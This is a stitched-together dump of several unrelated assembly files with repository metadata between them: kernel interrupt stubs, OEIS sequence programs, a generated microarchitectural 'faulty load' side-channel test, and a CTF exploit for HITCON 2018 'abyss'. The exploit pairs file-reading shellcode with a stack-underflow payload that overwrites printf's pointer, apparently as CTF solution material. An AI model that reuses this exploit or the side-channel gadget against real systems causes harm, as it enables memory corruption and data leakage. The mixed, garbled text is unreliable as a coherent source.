KLOADCONTEXT iretq ; Return to original code after handler ; #42 Not Used 1 ISR kISRNotUsed1: KSAVECONTEXT mov rdi, 42 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #43 Not Used 2 ISR kISRNotUsed2: KSAVECONTEXT mov rdi, 43 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #44 Mouse ISR kISRMouse: KSAVECONTEXT mov rdi, 44 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #45 Coprocessor ISR kISRCoprocessor: KSAVECONTEXT mov rdi, 45 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #46 HDD 1 ISR kISRHDD1: KSAVECONTEXT mov rdi, 46 call kHDDHandler KLOADCONTEXT iretq ; Return to original code after handler ; #47 HDD 2 ISR kISRHDD2: KSAVECONTEXT mov rdi, 47 call kHDDHandler KLOADCONTEXT iretq ; Return to original code after handler ; #48 ETC Interrupt ISR kISRETCInterrupt: KSAVECONTEXT mov rdi, 48 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler
20.441423
91
0.647119
d3bd55374eb484f2f6ba922d0e063cc6e2f8c10f
1,233
asm
Assembly
2018/hitconctf/abyss/exp2.asm
theKidOfArcrania/ctf-writeups
dc03760ca8e8b9a246a4e4f27357ed427b1a51fe
[ "MIT" ]
5
2019-04-06T19:32:21.000Z
2020-04-18T07:16:37.000Z
2018/hitconctf/abyss/exp2.asm
theKidOfArcrania/ctf-writeups
dc03760ca8e8b9a246a4e4f27357ed427b1a51fe
[ "MIT" ]
null
null
null
2018/hitconctf/abyss/exp2.asm
theKidOfArcrania/ctf-writeups
dc03760ca8e8b9a246a4e4f27357ed427b1a51fe
[ "MIT" ]
null
null
null
0 # padding ASM mov edi, 1 lea rsi, [rip + prompt] mov edx, promptend - prompt mov eax, 1 syscall mov ecx, eax cmp ecx, 0 jl exit mov dx, 0x8001 # read mov eax, 0x4010 # 0x4010 has 0, 0, size out dx, eax in eax, dx mov dx, 0x8000 # open mov eax, 0 out dx, eax in eax, dx mov ecx, eax cmp ecx, 0 jl exit mov edi, eax mov rsi, rsp mov edx, 0x100 mov eax, 0 syscall mov ecx, eax cmp ecx, 0 jl exit mov edi, 1 mov rsi, rsp mov edx, eax mov eax, 1 syscall mov ecx, 0 exit: mov edi, ecx mov eax, 60 syscall prompt: .string "Please enter filename to open:" promptend: ENDASM pop # Okay cause stack underflow 1 neg swap # cause a stack underflow, and swap with stack ptr pop pop # Store the pointer to stdin #writed #writed 0 store 1 store # Note that stdin is now clobbered! pop pop pop pop pop pop pop pop pop pop pop pop pop pop # Now our pointer is at __ctype_b_loc pop pop pop pop pop pop pop pop # Pointer is at __stack_chk_fail with offset 0x7b6 2 # HI store 3 # LO store # Calculate stack: LO + 0x2020a8 - 0x7b6 3 fetch 2103538 add 3 store # Move pointer to printf 0 0 0 0 # Override printf 3 2 fetch pop fetch writed #writed #writed
9.708661
55
0.668289
6915d43e708d919cb73b34bb84aa0575ab84dea1
329
asm
Assembly
oeis/045/A045681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/045/A045681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/045/A045681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A045681: Extension of Beatty sequence; complement of A045682. ; Submitted by Jamie Morken(s1) ; 0,1,2,3,4,6,7,8,9,11,12,13,14,16,17,18,19,21,22,23,24,25,26,28,29,30,31,33,34,35,36,38,39,40,41,43,44,45,46,47,48,50,51,52,53,55,56,57,58,60,61,62,63,65,66,67,68,69,70,72,73 mov $1,$0 add $0,1 div $0,2 mul $0,4 div $0,9 add $0,$1
29.909091
175
0.662614
8a124aee8582a12e91b5cf45a98b6b3d5208d670
549
asm
Assembly
oeis/110/A110287.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/110/A110287.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/110/A110287.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A110287: 17*2^n. ; 17,34,68,136,272,544,1088,2176,4352,8704,17408,34816,69632,139264,278528,557056,1114112,2228224,4456448,8912896,17825792,35651584,71303168,142606336,285212672,570425344,1140850688,2281701376,4563402752,9126805504,18253611008,36507222016,73014444032,146028888064,292057776128,584115552256,1168231104512,2336462209024,4672924418048,9345848836096,18691697672192,37383395344384,74766790688768,149533581377536,299067162755072,598134325510144,1196268651020288,2392537302040576,4785074604081152 mov $1,2 pow $1,$0 mul $1,17 mov $0,$1
68.625
489
0.857923
f430155cd5bbe327ff347ad4277c922d37c80c54
579
asm
Assembly
programs/oeis/229/A229912.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229912.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229912.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A229912: a(n) = Fibonacci(n) * (2*Fibonacci(n) + 1). ; 0,3,3,10,21,55,136,351,903,2346,6105,15931,41616,108811,284635,744810,1949325,5102415,13356696,34965703,91537215,239640778,627376753,1642475955,4300029216,11257576275,29472642291,77160257866,202007981253,528863443111,1384581955240,3624881786991,9490062377271,24845303680746,65045845972425,170292229879915,445830836618160,1167200268568795,3055769950633291,8000109553470378 mov $3,1 lpb $0,1 sub $0,1 mov $1,$3 add $1,2 trn $2,1 add $2,$3 mov $3,$2 mov $2,$1 lpe bin $1,2 add $1,5 mul $1,2 sub $1,10 div $1,2
30.473684
373
0.75475
0ae4d6bb4aa4b5016f7afc9b8454ca366e4cebfb
5,899
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_19.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_19.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_19.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x15426, %rsi nop nop nop add $55041, %r10 movups (%rsi), %xmm3 vpextrq $0, %xmm3, %r13 nop nop nop nop xor %rbp, %rbp lea addresses_A_ht+0x8e9f, %r12 nop nop nop sub $11904, %rax movb $0x61, (%r12) nop nop nop nop add %rsi, %rsi lea addresses_normal_ht+0x11b06, %rsi lea addresses_A_ht+0xa2fa, %rdi nop nop nop nop nop xor %r10, %r10 mov $42, %rcx rep movsw cmp %rcx, %rcx lea addresses_WT_ht+0xcde6, %r10 nop nop nop nop cmp $34287, %rdi mov $0x6162636465666768, %rbp movq %rbp, %xmm6 vmovups %ymm6, (%r10) nop xor $55453, %rax pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %rcx push %rdx push %rsi // Store lea addresses_WT+0x1e6, %r14 nop nop nop nop nop xor %r12, %r12 mov $0x5152535455565758, %r15 movq %r15, (%r14) nop nop inc %r14 // Store lea addresses_WT+0x12ae6, %r15 cmp %rcx, %rcx mov $0x5152535455565758, %r10 movq %r10, (%r15) sub %r14, %r14 // Store lea addresses_PSE+0x10560, %r10 nop sub %rcx, %rcx movw $0x5152, (%r10) nop add %r12, %r12 // Store lea addresses_UC+0x1a0e6, %r15 nop nop nop nop sub $42546, %r12 movl $0x51525354, (%r15) nop inc %rcx // Faulty Load lea addresses_A+0x1cde6, %rcx nop nop nop sub %r15, %r15 mov (%rcx), %si lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdx pop %rcx pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': True, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.305195
2,999
0.656213